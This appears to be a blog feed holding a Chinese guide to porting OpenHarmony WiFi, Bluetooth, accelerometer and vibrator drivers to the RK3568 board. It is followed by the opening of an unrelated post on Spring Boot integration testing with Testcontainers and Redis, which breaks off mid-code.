在驱动初始化时会实现SDIO主控扫描探卡、WiFi芯片初始化、主接口的创建和初始化等工作。

2.HDF WLAN Base控制侧接口的实现 代码位于hdf_bdh_mac80211.c

static struct HdfMac80211BaseOps g_bdh6_baseOps = {
  .SetMode = BDH6WalSetMode,
  .AddKey = BDH6WalAddKey,
  .DelKey = BDH6WalDelKey,
  .SetDefaultKey = BDH6WalSetDefaultKey,
  .GetDeviceMacAddr = BDH6WalGetDeviceMacAddr,
  .SetMacAddr = BDH6WalSetMacAddr,
  .SetTxPower = BDH6WalSetTxPower,
  .GetValidFreqsWithBand = BDH6WalGetValidFreqsWithBand,
  .GetHwCapability = BDH6WalGetHwCapability,
  .SendAction = BDH6WalSendAction,
  .GetIftype = BDH6WalGetIftype,
};

上述实现的接口供STA、AP、P2P三种模式中所调用。

3.HDF WLAN STA模式接口的实现 STA模式调用流程图如下:

代码位于hdf_mac80211_sta.c

struct HdfMac80211STAOps g_bdh6_staOps = {
  .Connect = HdfConnect,
  .Disconnect = HdfDisconnect,
  .StartScan = HdfStartScan,
  .AbortScan = HdfAbortScan,
  .SetScanningMacAddress = HdfSetScanningMacAddress,
};

4. HDF WLAN AP模式接口的实现

AP模式调用流程图如下:

代码位于hdf_mac80211_ap.c

struct HdfMac80211APOps g_bdh6_apOps = {
  .ConfigAp = WalConfigAp,
  .StartAp = WalStartAp,
  .StopAp = WalStopAp,
  .ConfigBeacon = WalChangeBeacon,
  .DelStation = WalDelStation,
  .SetCountryCode = WalSetCountryCode,
  .GetAssociatedStasCount = WalGetAssociatedStasCount,
  .GetAssociatedStasInfo = WalGetAssociatedStasInfo
};

5) HDF WLAN P2P模式接口的实现

P2P模式调用流程图如下:

struct HdfMac80211P2POps g_bdh6_p2pOps = {
  .RemainOnChannel = WalRemainOnChannel,
  .CancelRemainOnChannel = WalCancelRemainOnChannel,
  .ProbeReqReport = WalProbeReqReport,
  .AddIf = WalAddIf,
  .RemoveIf = WalRemoveIf,
  .SetApWpsP2pIe = WalSetApWpsP2pIe,
  .GetDriverFlag = WalGetDriverFlag,
}; 

6) HDF WLAN框架事件上报接口的实现

WiFi驱动需要通过上报事件给wpa_supplicant和hostapd应用程序,比如扫描热点结果上报,新STA终端关联完成事件上报等等,HDF WLAN事件上报的所有接口请参考drivers/framework/include/wifi/hdf_wifi_event.h:

事件上报HDF WLAN接口主要有:

头文件 hdf_wifi_event.h接口名称功能描述
HdfWifiEventNewSta()上报一个新的sta事件
HdfWifiEventDelSta()上报一个删除sta事件
HdfWifiEventInformBssFrame()上报扫描Bss事件
HdfWifiEventScanDone()上报扫描完成事件
HdfWifiEventConnectResult()上报连接结果事件
HdfWifiEventDisconnected()上报断开连接事件
HdfWifiEventMgmtTxStatus()上报发送状态事件
HdfWifiEventRxMgmt()上报接受状态事件
HdfWifiEventCsaChannelSwitch()上报Csa频段切换事件
HdfWifiEventTimeoutDisconnected()上报连接超时事件
HdfWifiEventEapolRecv()上报Eapol接收事件
HdfWifiEventResetResult()上报wlan驱动复位结果事件
HdfWifiEventRemainOnChannel()上报保持信道事件
HdfWifiEventCancelRemainOnChannel上报取消保持信道事件

所有关键问题总结

调试AP模块时,启动AP模式的方法

调试AP模块时,无法正常开启AP功能的解决方法

需要使用到busybox和hostapd配置ap功能,操作步骤如下:

ifconfig wlan0 up
ifconfig wlan0 192.168.12.1 netmask 255.255.255.0
busybox udhcpd /data/udhcpd.conf
./hostapd -d /data/hostapd.conf

调试STA模块时,启动STA模式的方法

wpa_supplicant -iwlan0 -c /data/l2tool/wpa_supplicant.conf -d &
./busybox udhcpc -i wlan0 -s /data/l2tool/dhcpc.sh

扫描热点事件无法上报到wap_supplicant的解决办法

wpa_supplicant 这个应用程序启动时不能加 -B参数后台启动,-B后台启动的话,调用poll()等待接收事件的线程会退出,所以无法接收上报事件,

wpa_supplicant -iwlan0 -c /data/wpa_supplicant.conf & 这样后台启动就可以了。

wpa2psk方式无法认证超时问题解决方法

分析流程发现 hostapd没有接收到WIFI_WPA_EVENT_EAPOL_RECV = 13这个事件,原来是驱动没有将接收到的EAPOL报文通过HDF WiFi框架发送给hostapd进程,在驱动接收报文后,调用netif_rx()触发软中断前将EAPOL报文发送给HDF WiFi框架,认证通过了。

P2P模式连接不成功问题定位分析

在调试P2P连接接口时,发现手机P2P直连界面总是处于已邀请提示,无法连接成功,通过抓取手机和WiFi模组正常连接成功报文和HDF适配后连接失败的报文进行比对,在失败的报文组中,发现手机侧多回复了一帧ACTION报文,提示无效参数,然后终止了P2P连接。

最后比对WiFi模组向手机发送的ACTION报文内容,发现填充的P2P Device Info的MAC地址值不对,如下:

正确帧内容:

错误帧内容:

最后经过分析MAC地址的填充部分代码,这个MAC地址是wpa_supplicant 根据p2p0的MAC地址填充的,所以将wdev对象(即p2p-dev-wlan0)的MAC地址更新给p2p0接口,二者保持一致即可,见代码wl_get_vif_macaddr(cfg, 7, p2p_hnetdev->macAddr);的调用。

连接成功日志

STA模式连接成功日志

WPA: Key negotiation completed with 50:eb:f6:02:8e6:d4 [PTK=CCMP GTK=CCMP]
 06 wlan0: State: GROUP_HANDSHAKEc -> COMPLETED
wlan0: CTRL-E4VENT-CONNECTED - Connection to 50:eb:f6:02:8e:d4 completed 3[id=0 id_str=]
WifiWpaReceived eEapol done 

AP模式连接成功日志

wlan0: STA 96:27:b3:95:b7:6e IEEE 802.1X: au:thorizing port
wlan0: STA 96:27:b3:95:b7:6e WPA: pairwise key handshake completed (RSN)
WifiWpaReceiveEapol done 

P2P模式连接成功日志

P2P: cli_channels:
EAPOL: External notificationtion - portValid=1
EAPOL: External notification:tion - EAP success=1
EAPOL: SUPP_PAE entering state AUTHENTIwCATING
EAPOL: SUPP_BE enterilng state SUCCESS
EAP: EAP ent_ering state DISABLED
EAPOL: SUPP_PAE entering state AUTHENTICATED
EAPOL:n Supplicant port status: Authoorized
EAPOL: SUPP_BE entertaining IDLE
WifiWpaReceiveEapol donepleted - result=SUCCESS

\# ifconfig                                  

lo    Link encap:Local Loopback 
     inet addr:127.0.0.1 Mask:255.0.0.0 
     inet6 addr: ::1/128 Scope: Host
     UP LOOPBACK RUNNING MTU:65536 Metric:1
     RX packets:12 errors:0 dropped:0 overruns:0 frame:0 
     TX packets:12 errors:0 dropped:0 overruns:0 carrier:0 
     collisions:0 txqueuelen:1000 
     RX bytes:565 TX bytes:565  

wlan0   Link encap:Ethernet HWaddr 10:2c:6b:11:61:e0 Driver bcmsdh_sdmmc
     inet6 addr: fe80::122c:6bff:fe11:61e0/64 Scope: Link
     UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
     RX packets:0 errors:0 dropped:0 overruns:0 frame:0 
     TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
     collisions:0 txqueuelen:1000 
     RX bytes:0 TX bytes:0 

p2p0   Link encap:Ethernet HWaddr 12:2c:6b:11:61:e0
     inet6 addr: fe80::102c:6bff:fe11:61e0/64 Scope: Link
     UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
     RX packets:0 errors:0 dropped:0 overruns:0 frame:0 
     TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
     collisions:0 txqueuelen:1000 
     RX bytes:0 TX bytes:0 

p2p-p2p0-0 Link encap:Ethernet HWaddr 12:2c:6b:11:21:e0 Driver bcmsdh_sdmmc
     inet6 addr: fe80::102c:6bff:fe11:21e0/64 Scope: Link
     UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
     RX packets:0 errors:0 dropped:9 overruns:0 frame:0 
     TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 
     collisions:0 txqueuelen:1000 
     RX bytes:0 TX bytes:0 

BT

HCI接口

蓝牙整体硬件架构上分为主机(计算机或MCU)和主机控制器(实际蓝牙芯片组)两部分;主机和控制器之间的通信遵循主机控制器接口(HCI),如下所示:

HCI定义了如何交换命令,事件,异步和同步数据包。异步数据包(ACL)用于数据传输,而同步数据包(SCO)用于带有耳机和免提配置文件的语音。

硬件连接

从RK3568芯片描述中看,该芯片并不没有集成WIFI/蓝牙功能,都需要外接蓝牙芯片才能支持蓝牙功能,这也符合上述逻辑架构。那主机和控制器之间物理具体怎么连接呢?查看开发板规格书可以看的更清楚:

其中,28-36号管脚就是UART(串口);同时还可以看到有几个管脚分别做电源和休眠控制。

蓝牙VENDORLIB适配

vendorlib是什么

vendorlib部署在主机侧,可以认为是主机侧对蓝牙芯片驱动层,屏蔽不同蓝牙芯片的技术细节。从代码层面解读,其主要功能有两个:

1、为协议栈提供蓝牙芯片之间的通道(串口的文件描述符)

2、提供特定芯片的具体控制方法

代码层面解读vendorlib

bt_vendor_lib.h 路径:

foundation/communication/bluetooth/services/bluetooth_standard/hardware/include

该文件定义了协议栈和vendor_lib交互接口,分为两组:

1、 vendorlib实现,协议栈调用

typedef struct {
    /**
     * Set to sizeof(bt_vendor_interface_t)
     */
    size_t size;
    /**
     * Caller will open the interface and pass in the callback routines
     * to the implementation of this interface.
     */
    int (*init)(const bt_vendor_callbacks_t* p_cb, unsigned char* local_bdaddr);

    /**
     * Vendor specific operations
     */
    int (*op)(bt_opcode_t opcode, void* param);

    /**
     * Closes the interface
     */
    void (*close)(void);
} bt_vendor_interface_t;

协议栈启动时的基本流程如下:

1.1、协议栈动态打开libbt_vendor.z.so,并调用init函数,初始化vendorlib

1.2、协议栈调用op函数,分别调用BT_OP_POWER_ON、BT_OP_HCI_CHANNEL_OPEN、BT_OP_INIT三个opcode;原则上BT_OP_INIT成功后说明芯片初始化完成。

2、协议栈实现,vendorlib调用(回调函数)

typedef struct {
    /**
   * set to sizeof(bt_vendor_callbacks_t)
    */
    size_t size;
         
    /* notifies caller result of init request */
    init_callback init_cb;

    /* buffer allocation request */
    malloc_callback alloc;

    /* buffer free request */
    free_callback dealloc;

    /* hci command packet transmit request */
    cmd_xmit_callback xmit_cb;
} bt_vendor_callbacks_t;

init_cb在BT_OP_INIT完成后调用

alloc/dealloc用于发送HCI消息时申请/释放消息控件

xmit_cb发送HCI Commands

vendor_lib实现的几个重要函数

1、 init函数

static int init(const bt_vendor_callbacks_t *p_cb, unsigned char *local_bdaddr)
{
     /* * ... */
    userial_vendor_init();
    upio_init();

vnd_load_conf(VENDOR_LIB_CONF_FILE);

    /* store reference to user callbacks */
    bt_vendor_cbacks = (bt_vendor_callbacks_t *)p_cb;
        /* This is handed over from the stack */
    return memcpy_s(vnd_local_bd_addr, BD_ADDR_LEN, local_bdaddr, BD_ADDR_LEN);
}
c

vendorlib被调用的第一个函数,vendorlib保存好协议栈的callback和mac地址即可。

2、 BT_OP_POWER_ON对应处理

观名知意,这个操作理论上需要拉高电源管脚电平;该函数中使用rfill设备来处理,并没有直接调用驱动拉高电平

int upio_set_bluetooth_power(int on)
{
    int sz;
    int fd = -1;
    int ret = -1;
    char buffer = '0';
    
    switch (on) {
        case UPIO_BT_POWER_OFF:
            buffer = '0';
            break;

        case UPIO_BT_POWER_ON:
            buffer = '1';
            break;
        default:
            return 0;
    }

    /* check if we have rfkill interface */
    if (is_rfkill_disabled()) {
        return 0;
    }

    if (rfkill_id == -1) {
        if (init_rfkill()) {
            return ret;
        }
    }

    fd = open(rfkill_state_path, O_WRONLY);
    if (fd < 0) {
        return ret;
    }

    sz = write(fd, &buffer, 1);
    /* ... */
    return ret;
}

3、BT_OP_HCI_CHANNEL_OPEN对应处理

case BT_OP_HCI_CHANNEL_OPEN: { // BT_VND_OP_USERIAL_OPEN
            int(*fd_array)[] = (int(*)[])param;
            int fd, idx;
            fd = userial_vendor_open((tUSERIAL_CFG *)&userial_init_cfg);
            if (fd != -1) {
                for (idx = 0; idx < HCI_MAX_CHANNEL; idx++)
                    (*fd_array)[idx] = fd;
                retval = 1;
        }
        /* retval contains numbers of open fd of HCI channels */
        break;

userial_vendor_open函数打开串口设备(UART)得到文件描述符(fd),通过op的参数param返回该fd

该串口设备在系统中的名字应该在开发板中预定义了,本次开发板上设备为/dev/ttyS8

4、BT_OP_INIT对应处理

该操作码要求对蓝牙芯片进行初始化,具体要进行的处理和蓝牙芯片强相关。以本次调测的AP6257S芯片为例,初始化过程中主要是下发蓝牙固件。

初始化结束后,必须调用init_cb回调函数(参见bt_vendor_callbacks_t)通知协议栈初始化结果,否则会阻塞协议栈线程导致蓝牙相关功能无法正常使用。协议栈的具体处理如下:

协议栈调用BT_OP_INIT后会等待信号量,该信号量由init_cb函数置位

static int HciInitHal()
{
    int result = BT_NO_ERROR;
    
    g_waitHdiInit = SemaphoreCreate(0);
    int ret = g_hdiLib->hdiInit(&g_hdiCallbacks);
    if (ret == SUCCESS) {
        SemaphoreWait(g_waitHdiInit);
    }
}

vendorlib移植问题 1、 vendorlib的so命名

vendorlib必须是libbt_vendor.z.so;因为协议栈打开动态链接库就是这个名字

2、 固件问题

开发时一定要关注芯片固件,有些蓝牙芯片可能无需升级固件,有些则必须升级固件;本次AP6257S适配过程中最开始没有下发固件,导致蓝牙接收信号很差。固件下发时需要注意如下两点:

2.1、对于AP6257S芯片,因为蓝牙芯片内并没有类似flash存储,要求芯片上下电后必须重新下发

2.2、按照芯片本身的要求处理,最好能找到厂商的参考代码;以Broadcom系列芯片为例,其固件下发过程比较复杂,通过一个状态机驱动;共如下9个状态

/ Hardware Configuration State */
enum {
  HW_CFG_START = 1,
  HW_CFG_SET_UART_CLOCK,
  HW_CFG_SET_UART_BAUD_1,
  HW_CFG_READ_LOCAL_NAME,
  HW_CFG_DL_MINIDRIVER,
  HW_CFG_DL_FW_PATCH,
  HW_CFG_SET_UART_BAUD_2,
  HW_CFG_SET_BD_ADDR,
  HW_CFG_READ_BD_ADDR
};

在收到BT_OP_INIT后初始化状态机,然后发送HCI_REST命令,切换状态为HW_CFG_START;

void hw_config_start(void)
{
    HC_BT_HDR *p_buf = NULL;
    uint8_t *p;
    hw_cfg_cb.state = 0;
    hw_cfg_cb.fw_fd = -1;
    hw_cfg_cb.f_set_baud_2 = FALSE;

    if (bt_vendor_cbacks) {
        p_buf = (HC_BT_HDR *)bt_vendor_cbacks->alloc(BT_HC_HDR_SIZE +
                                                     HCI_CMD_PREAMBLE_SIZE);
    }

    if (p_buf) {
        p_buf->event = MSG_STACK_TO_HC_HCI_CMD;
        p_buf->offset = 0;
        p_buf->layer_specific = 0;
        p_buf->len = HCI_CMD_PREAMBLE_SIZE;

        p = (uint8_t *)(p_buf + 1);
        UINT16_TO_STREAM(p, HCI_RESET);
        *p = 0;

        hw_cfg_cb.state = HW_CFG_START;
        bt_vendor_cbacks->xmit_cb(HCI_RESET, p_buf);
    } else {
        if (bt_vendor_cbacks) {
            HILOGE("vendor lib fw conf aborted [no buffer]");
            bt_vendor_cbacks->init_cb(BTC_OP_RESULT_FAIL);
        }
    }
}

收到芯片返回的HCI_RESET完成事件后,继续切换到下一个状态机并发送下一个COMMAND,一直到状态机完成固件下发。

3、 关注系统间接口差异

不同系统的接口可能有一些细微差异,需要重点关注;对比其他系统和OHOS的接口,vendorlib调用xmit_cb发送HCI命令的函数定义略有差异

其他系统:

/* define callback of the cmd_xmit_cb
 *

The callback function which HCI lib will call with the return of command

complete packet. Vendor lib is responsible for releasing the buffer passed

in at the p_mem parameter by calling dealloc callout function.
*/
typedef void (*tINT_CMD_CBACK)(void* p_mem);
typedef uint8_t (*cmd_xmit_cb)(uint16_t opcode, void* p_buf, tINT_CMD_CBACK p_cback);

OHOS:

/**

hci command packet transmit callback

Vendor lib calls cmd_xmit_cb function in order to send a HCI Command

packet to BT Controller. 
*

The opcode parameter gives the HCI OpCode (combination of OGF and OCF) of

HCI Command packet. For example, opcode = 0x0c03 for the HCI_RESET command

packet. */

typedef uint8_t (*cmd_xmit_callback)(uint16_t opcode, void* p_buf);

也就是说vendorlib中发送命令后,其他系统会直接调用callback通知芯片返回的消息,OHOS则是通过BT_OP_EVENT_CALLBACK操作码(参见bt_opcode_t定义)通知芯片返回的消息;vendorlib需要解析报文中的消息码确认芯片是处理的哪个消息,然后调用对应的处理函数。

void hw_process_event(HC_BT_HDR *p_buf)
{
    uint16_t opcode;
    uint8_t *p = (uint8_t *)(p_buf + 1) + HCI_EVT_CMD_CMPL_OPCODE;
    STREAM_TO_UINT16(opcode, p);
    switch (opcode) {
    case HCI_VSC_WRITE_BD_ADDR:
    #if (USE_CONTROLLER_BDADDR == TRUE)
        case HCI_READ_LOCAL_BDADDR:
    #endif
        case HCI_READ_LOCAL_NAME:
        case HCI_VSC_DOWNLOAD_MINIDRV:
        case HCI_VSC_WRITE_FIRMWARE:
        case HCI_VSC_LAUNCH_RAM:
        case HCI_RESET:
        case HCI_VSC_WRITE_UART_CLOCK_SETTING:
        case HCI_VSC_UPDATE_BAUDRATE:
            hw_config_cback(p_buf);
            break;

另外,OHOS返回的是发送消息的字节数,<=0为发送失败,和其他系统接口的返回值也不同

4、 snoop日志

其他系统中记录了HCI交互消息,OHOS同样有记录;OHOS系统生成文件为/data/log/bluetooth/snoop.log,通过wireshark或其它报文分析工具可以看到Host和Controller之间的交互流程,有助于问题分析

Sensor

基于HDF(Hardware Driver Foundation)驱动框架开发的Sensor驱动模型

rk3568 支持accel sensor,整体的驱动框架openharmony 主线已经具备,只需要实现具体的器件驱动即可。

mcx5566xa HDF驱动实现

RK3568平台支持加速度传感器,型号是MXC6655XA,具体配置可以查看该器件的datasheet。 移植HDF前,需要确认内核该sensor的编译使能是关闭的。

配置文件路径kernel/linux/config/linux-5.10/arch/arm64/configs/rk3568_standard_defconfig

# CONFIG_GS_MXC6655XA is not set

代码路径:

drivers/framework/model/sensor/driver/chipset/accel/accel_mxc6655xa.c
drivers/framework/model/sensor/driver/chipset/accel/accel_mxc6655xa.h

编译宏

CONFIG_DRIVERS_HDF_SENSOR_ACCEL_MXC6655XA=y

Mxc6655xa 加速度计驱动入口函数实现

struct HdfDriverEntry g_accelMxc6655xaDevEntry = {
    .moduleVersion = 1,
    .moduleName = "HDF_SENSOR_ACCEL_MXC6655XA",
    .Bind = Mxc6655xaBindDriver,
    .Init = Mxc6655xaInitDriver,
    .Release = Mxc6655xaReleaseDriver,
};

HDF_INIT(g_accelMxc6655xaDevEntry);

接下来就是差异化适配函数

struct AccelOpsCall {
int32_t (*Init)(struct SensorCfgData *data);
int32_t (*ReadData)(struct SensorCfgData *data);
};

获取x, y, z三轴数据接口

int32_t ReadMxc6655xaData(struct SensorCfgData *cfg, struct SensorReportEvent *event)
{
    int32_t ret;
    struct AccelData rawData = { 0, 0, 0 };
    static int32_t tmp[ACCEL_AXIS_NUM];

    CHECK_NULL_PTR_RETURN_VALUE(cfg, HDF_ERR_INVALID_PARAM);
    CHECK_NULL_PTR_RETURN_VALUE(event, HDF_ERR_INVALID_PARAM);

    ret = ReadMxc6655xaRawData(cfg, &rawData, &event->timestamp);
    if (ret != HDF_SUCCESS) {
        HDF_LOGE("%s: MXC6655XA read raw data failed", __func__);
        return HDF_FAILURE;
    }

    event->sensorId = SENSOR_TAG_ACCELEROMETER;
    event->option = 0;
    event->mode = SENSOR_WORK_MODE_REALTIME;

    rawData.x = rawData.x * MXC6655XA_ACC_SENSITIVITY_2G;
    rawData.y = rawData.y * MXC6655XA_ACC_SENSITIVITY_2G;
    rawData.z = rawData.z * MXC6655XA_ACC_SENSITIVITY_2G;

    tmp[ACCEL_X_AXIS] = (rawData.x * SENSOR_CONVERT_UNIT) / SENSOR_CONVERT_UNIT;
    tmp[ACCEL_Y_AXIS] = (rawData.y * SENSOR_CONVERT_UNIT) / SENSOR_CONVERT_UNIT;
    tmp[ACCEL_Z_AXIS] = (rawData.z * SENSOR_CONVERT_UNIT) / SENSOR_CONVERT_UNIT;

    ret = SensorRawDataToRemapData(cfg->direction, tmp, sizeof(tmp) / sizeof(tmp[0]));
    if (ret != HDF_SUCCESS) {
        HDF_LOGE("%s: MXC6655XA convert raw data failed", __func__);
        return HDF_FAILURE;
    }

    event->dataLen = sizeof(tmp);
    event->data = (uint8_t *)&tmp;

    return ret;
}

初始化

static int32_t InitMxc6655xa(struct SensorCfgData *data)
{
    int32_t ret;

    CHECK_NULL_PTR_RETURN_VALUE(data, HDF_ERR_INVALID_PARAM);
    ret = SetSensorRegCfgArray(&data->busCfg, data->regCfgGroup[SENSOR_INIT_GROUP]);
    if (ret != HDF_SUCCESS) {
        HDF_LOGE("%s: MXC6655XA sensor init config failed", __func__);
        return HDF_FAILURE;
    }
    return HDF_SUCCESS;
}

hcs配置

Mxc6655xa accel sensor 驱动HCS配置

device_sensor_mxc6655xa :: device {
    device0 :: deviceNode {
        policy = 1;
        priority = 120;
        preload = 0;
        permission = 0664;
        moduleName = "HDF_SENSOR_ACCEL_MXC6655XA";
        serviceName = "hdf_accel_mxc6655xa";
        deviceMatchAttr = "hdf_sensor_accel_mxc6655xa_driver";
    }
}

Mxc6655xa accel sensor 寄存器组配置信息

#include "../sensor_common.hcs"
root {
    accel_mxc6655xa_chip_config : sensorConfig {
        match_attr = "hdf_sensor_accel_mxc6655xa_driver";
        sensorInfo :: sensorDeviceInfo {
            sensorName = "accelerometer";
            vendorName = "memsi_mxc6655xa"; // max string length is 16 bytes
            sensorTypeId = 1; // enum SensorTypeTag
            sensorId = 1; // user define sensor id
            power = 230;
        }
        sensorBusConfig :: sensorBusInfo {
            busType = 0; // 0:i2c 1:spi
            busNum = 5;
            busAddr = 0x15;
            regWidth = 1; // 1byte
        }
        sensorIdAttr :: sensorIdInfo {
            chipName = "mxc6655xa";
            chipIdRegister = 0x0f;
            chipIdValue = 0x05;
        }
        sensorDirection {
            direction = 5; // chip direction range of value:0-7
            /* <sign> 1:negative  0:positive
               <map> 0:AXIS_X  1:AXIS_Y  2:AXIS_Z
            */
            /* sign[AXIS_X], sign[AXIS_Y], sign[AXIS_Z], map[AXIS_X], map[AXIS_Y], map[AXIS_Z] */
            convert = [
                0, 0, 0, 0, 1, 2,
                1, 0, 0, 1, 0, 2,
                0, 0, 1, 0, 1, 2,
                0, 1, 0, 1, 0, 2,
                1, 0, 1, 0, 1, 2,
                0, 0, 1, 1, 0, 2,
                0, 1, 1, 0, 1, 2,
                1, 1, 1, 1, 0, 2
            ];
        }
        sensorRegConfig {
            /*  regAddr: register address
                value: config register value
                len: size of value
                mask: mask of value
                delay: config register delay time (ms)
                opsType: enum SensorOpsType 0-none 1-read 2-write 3-read_check 4-update_bit
                calType: enum SensorBitCalType 0-none 1-set 2-revert 3-xor 4-left shift 5-right shift
                shiftNum: shift bits
                debug: 0-no debug 1-debug
                save: 0-no save 1-save
            */
            /* regAddr, value, mask, len, delay, opsType, calType, shiftNum, debug, save */
            initSeqConfig = [
                0x7e,    0xb6, 0xff,   1,     5,       2,       0,        0,     0,    0,
                0x7e,    0x10, 0xff,   1,     5,       2,       0,        0,     0,    0
            ];
            enableSeqConfig = [
                0x7e,    0x11, 0xff,   1,     5,       2,       0,        0,     0,    0,
                0x41,    0x03, 0xff,   1,     0,       2,       0,        0,     0,    0,
                0x40,    0x08, 0xff,   1,     0,       2,       0,        0,     0,    0
            ];
            disableSeqConfig = [
                0x7e,    0x10, 0xff,   1,     5,       2,       0,        0,     0,    0
            ];
        }
    }
}

测试

UT测试可以获取到sensor的三轴数据

测试代码路径

drivers/peripheral/sensor/test/unittest/common/hdf_sensor_test.cpp

编译UT代码命令:

./build.sh --product-name rk3568 --build-target hdf_test_sensor

将hdf_test_sensor.bin push到system/bin目录,添加执行权限,执行

有如下结果代表sensor 测试成功

SensorTestDataCallback enter
sensor id :[1], data[1]: 0.001877
sensor id :[1], data[2]: 0.160823
sensor id :[1], data[3]: 0.046122

Vibrator

vibrator 模型

Vibrator驱动模型主要包含Vibrator(传感器)相关的HDI接口与实现,提供Vibrator HDI(Hardware Driver Interface)能力接口,支持静态HCS配置的时间序列和动态配置持续时间两种振动效果。调用StartOnce接口动态配置持续振动时间;调用StartEffect接口启动静态配置的振动效果。

图 1 Vibrator驱动模型图

rk3568 支持线性马达,整体的驱动框架openharmony 主线已经具备,只需要实现具体的器件驱动即可。

HDF驱动实现

代码路径:

drivers/framework/model/misc/vibrator/driver/chipset/vibrator_linear_driver.c

linear Vibrator加速度计驱动入口函数实现

struct HdfDriverEntry g_linearVibratorDriverEntry = {
    .moduleVersion = 1,
    .moduleName = "HDF_LINEAR_VIBRATOR",
    .Bind = BindLinearVibratorDriver,
    .Init = InitLinearVibratorDriver,
    .Release = ReleaseLinearVibratorDriver,
};

HDF_INIT(g_linearVibratorDriverEntry);

hcs配置

驱动hcs配置

        vibrator :: host {
            hostName = "vibrator_host";
            device_vibrator :: device {
                device0 :: deviceNode {
                    policy = 2;
                    priority = 100;
                    preload = 0;
                    permission = 0664;
                    moduleName = "HDF_VIBRATOR";
                    serviceName = "hdf_misc_vibrator";
                    deviceMatchAttr = "hdf_vibrator_driver";
                }
            }
            device_linear_vibrator :: device {
                device0 :: deviceNode {
                    policy = 1;
                    priority = 105;
                    preload = 0;
                    permission = 0664;
                    moduleName = "HDF_LINEAR_VIBRATOR";
                    serviceName = "hdf_misc_linear_vibrator";
                    deviceMatchAttr = "hdf_linear_vibrator_driver";
                }
            }
        }

线性马达器件hcs配置

root {
    linearVibratorConfig {
        boardConfig {
            match_attr = "hdf_linear_vibrator_driver";
            vibratorChipConfig {
                busType = 1; // 0:i2c 1:gpio
                gpioNum = 154;
                startReg = 0;
                stopReg = 0;
                startMask = 0;
            }
        }
    }
}

UT测试

测试代码路径

drivers/peripheral/misc/vibrator/test/unittest/common/hdf_vibrator_test.cpp
c

编译UT代码命令

./build.sh --product-name rk3568 --build-target hdf_test_vibrator
c

将hdf_test_vibrator.bin push到system/bin目录,添加执行权限,执行

[ RUN ] HdfVibratorTest.CheckVibratorInstanceIsEmpty
[ OK ] HdfVibratorTest.CheckVibratorInstanceIsEmpty (0 ms)
[ RUN ] HdfVibratorTest.PerformOneShotVibratorDuration001
[ OK ] HdfVibratorTest.PerformOneShotVibratorDuration001 (2001 ms)
[ RUN ] HdfVibratorTest.ExecuteVibratorEffect001
[ OK ] HdfVibratorTest.ExecuteVibratorEffect001 (5001 ms)

by 塞尔维亚大汉 at January 22, 2025 12:32 PM

spring boot如何不依赖外部redis、mysql等中间件也不mock实现集成测试

大家好,这里是小奏,觉得文章不错可以关注公众号小奏技术

背景

之前聊过很多测试方法,但主要是单测

如果是集成测试依赖的中间件也是外部服务上的中间件。

比如服务器上部署的redismysql

今天我们要讨论的就是如何脱离外部服务器上的中间件,本地基于docker进行容器化集成测试。

实际很多开源项目的集成测试都是这么干的

Testcontainers是啥

Testcontainers是一个Java库,用于在JVM测试中管理Docker容器。

如果我们想要进行不依赖外部服务器的集成测试,Testcontainers必不可少

接下来我们就演示一个最简单spring boot + redis的集成测试案例帮助大家更好的学习如何在spring boot中不依赖外部中间件进行容器化集成测试

测试

引入依赖

首先我们需要引入测试相关的依赖

    <dependencies>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    
        <dependency>
            <groupId>org.redisson</groupId>
            <artifactId>redisson</artifactId>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <scope>test</scope>
        </dependency>
        
        <dependency>
            <groupId>org.testcontainers</groupId>
            <artifactId>junit-jupiter</artifactId>
            <version>1.17.6</version>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.testcontainers</groupId>
            <artifactId>testcontainers</artifactId>
            <version>1.20.4</version>
            <scope>test</scope>
        </dependency>
    
        
    </dependencies>

核心依赖的测试依赖主要是如下几个

  • spring-boot-starter-test:spring boot测试依赖
  • junit-jupiter:junit5测试依赖
  • testcontainers:testcontainers测试依赖

编写集成测试

这里先给出所有代码,下面再逐步分析核心代码

@SpringBootTest
@RunWith(SpringRunner.class)
@Slf4j
@Testcontainers
class TestControllerTest {

    @Container
    public static GenericContainer<?> redis = new GenericContainer<>(DockerImageName.parse("redis:6.2.6"))
        .withExposedPorts(6379);

    @DynamicPropertySource
    static void redisProperties(DynamicPropertyRegistry registry) {
        registry.add("redis.host", redis::getHost);
        registry.add("redis.port", () -> redis.getMappedPort(6379).toString());
    }

    private final static Long SLEEP_TIME = 3L;

    @Autowired
    private FluxCacheProperties cacheProperties;

    @Autowired
    private TestController testController;

    @Autowired
    private DefaultFluxCacheManager cacheManager;

    @Test
    public void testFirstCacheByCaffeine() {
        List<StudentVO> vos = testController.firstCacheByCaffeine("aaa");
        StudentVO vo = vos.get(0);
        int age = vo.getAge();
        List<StudentVO> vos1 = testController.firstCacheByCaffeine("aaa");
        StudentVO vo1 = vos1.get(0);
        int age1 = vo1.getAge();
        assertEquals(age, age1);
        List<StudentVO> vos2 = testController.firstCacheByCaffeine("bb");
        StudentVO vo2 = vos2.get(0);
        assertNotEquals(age, vo2.getAge());
    }
}
  1. 添加@Testcontainers注解,表示使用Testcontainers 来管理 Docker 容器
  2. 使用@Container注解管理redis容器
    @Container
    public static GenericContainer<?> redis = new GenericContainer<>(DockerImageName.parse("redis:6.2.6"))
        .withExposedPorts(6379);

表示启动一个redis docker容器,版本为6.2.6,并且映射到主机的6379端口

  1. 使用DynamicPropertySource进行动态注入redishostport
    @DynamicPropertySource
    static void redisProperties(DynamicPropertyRegistry registry) {
        System.out.println(redis.getHost());
        System.out.println(redis.getMappedPort(6379).toString());
        registry.add("redis.host", redis::getHost);
        registry.add("redis.port", () -> redis.getMappedPort(6379).toString());
    }

这里因为我的配置类中读取的配置keyredis.hostredis.port,所以这里动态注入这两个值

比如我的redission配置类如下

@Configuration
public class RedissonConfig {

    @Value("${redis.host}")
    private String redisLoginHost;
    @Value("${redis.port}")
